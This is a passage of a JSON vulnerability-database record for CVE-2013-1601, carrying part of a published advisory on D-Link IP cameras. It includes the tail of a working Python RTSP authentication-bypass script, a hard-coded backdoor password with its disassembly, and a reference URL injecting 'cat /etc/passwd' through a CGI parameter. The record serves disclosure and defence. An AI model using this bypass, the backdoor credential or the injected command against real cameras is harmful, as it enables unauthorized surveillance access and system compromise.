return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "db": "BID",
        "id": "59570"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      }
    ],
    "trust": 2.52
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-1601",
        "trust": 3.4
      },
      {
        "db": "BID",
        "id": "59570",
        "trust": 2.5
      },
      {
        "db": "VULDB",
        "id": "8573",
        "trust": 1.6
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "121452",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "db": "BID",
        "id": "59570"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "id": "VAR-202001-0841",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      }
    ],
    "trust": 1.4399058611111109
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "IoT",
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      }
    ]
  },
  "last_update_date": "2024-08-14T14:12:01.622000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top\u00a0Page",
        "trust": 0.8,
        "url": "http://www.dlink.lt/en/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-200",
        "trust": 1.0
      },
      {
        "problemtype": "information leak (CWE-200) [NVD Evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.5,
        "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
      },
      {
        "trust": 1.6,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
      },
      {
        "trust": 1.6,
        "url": "http://www.securityfocus.com/bid/59570"
      },
      {
        "trust": 1.6,
        "url": "https://packetstormsecurity.com/files/cve/cve-2013-1601"
      },
      {
        "trust": 1.6,
        "url": "https://vuldb.com/?id.8573"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
      },
      {
        "trust": 0.6,
        "url": "http://seclists.org/fulldisclosure/2013/apr/253"
      },
      {
        "trust": 0.3,
        "url": "http://www.dlink.com/"
      },
      {
        "trust": 0.3,
        "url": "http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities "
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/md/lums.cgi"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
      },
      {
        "trust": 0.1,
        "url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/upnp/asf-mp4.asf"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "db": "BID",
        "id": "59570"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "db": "BID",
        "id": "59570"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "date": "2013-04-29T00:00:00",
        "db": "BID",
        "id": "59570"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "date": "2013-04-29T23:41:50",
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "date": "2013-04-29T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      },
      {
        "date": "2020-01-28T21:15:11.327000",
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "date": "2013-04-29T00:00:00",
        "db": "BID",
        "id": "59570"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "date": "2020-05-25T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      },
      {
        "date": "2021-04-26T16:36:06.993000",
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "plural \u00a0D-Link\u00a0 Information disclosure vulnerabilities in products",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "information disclosure",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      }
    ],
    "trust": 0.6
  }
}